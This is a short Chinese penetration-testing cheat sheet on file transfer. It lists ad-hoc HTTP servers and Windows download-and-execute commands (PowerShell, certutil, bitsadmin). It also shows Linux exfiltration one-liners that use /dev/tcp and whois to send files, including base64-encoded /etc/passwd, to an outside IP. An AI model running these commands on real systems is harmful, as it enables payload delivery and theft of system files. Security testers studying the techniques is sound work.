前言
在渗透测试中会遇到很多需要进行文件传输的场景,我就结合一些大佬的写几个常用的。
server
php
当php大于5.4的时候,可以使用php在当前目录创建一个简易 http server,监听端口为1337
php -S 0.0.0.0:1337
busybox
BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件,也可以进行文件传输,但没回显,但是下载成功
busybox httpd -f -p 1337
ruby
ruby -run -e httpd . -p 1337
python2
python -m SimpleHTTPServer 1733
会在当前目录启动http服务,监听端口1733
python3
python3 -m http.server 1777
会在当前目录启动http服务,监听端口1777
Download files from HTTP server
Windows
powershell
下载文件
powershell (new-object System.Net.WebClient).DownloadFile(‘http://192.168.100.197:7878/3.py’,‘e:\java\3.py’);
执行文件
start-process ‘c:\download\a.exe’
certutil下载
certutil -urlcache -split -f http://192.168.100.197:7878/3.py e:\java\3.py
bitsadmin下载
bitsadmin /transfer n http://192.168.100.197:7878/3.py e:\java\3.py
linux
curl
curl http://192.168.100.197:7878/3.py
wget
wget http://192.168.100.197:7878/3.py
awk
awk 'BEGIN {
RS = ORS = "\r\n"
HTTPCon = "/inet/tcp/0/192.168.100.197/7878"
print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n" |& HTTPCon
while (HTTPCon |& getline > 0)
print $0
close(HTTPCon)
}'
使用bash 进行文件传输
使用 Bash /dev/tcp 进行文件传输
接收文件端
nc -lvvp 1337 > aa.py
发送文件端
cat 3.py >/dev/tcp/132.232.75.90/1337
使用 whois 命令进行文件传输
发送文件端
whois -h 132.232.75.90 -p 1337 `cat /etc/passwd | base64`
接受文件端
nc -lvvp 8080
使用ftp传输文
服务端搭建ftp服务
客户端ftp连接
ftp ip
下载文件
get 文件名
参考链接
https://paper.seebug.org/834/?from=timeline&isappinstalled=0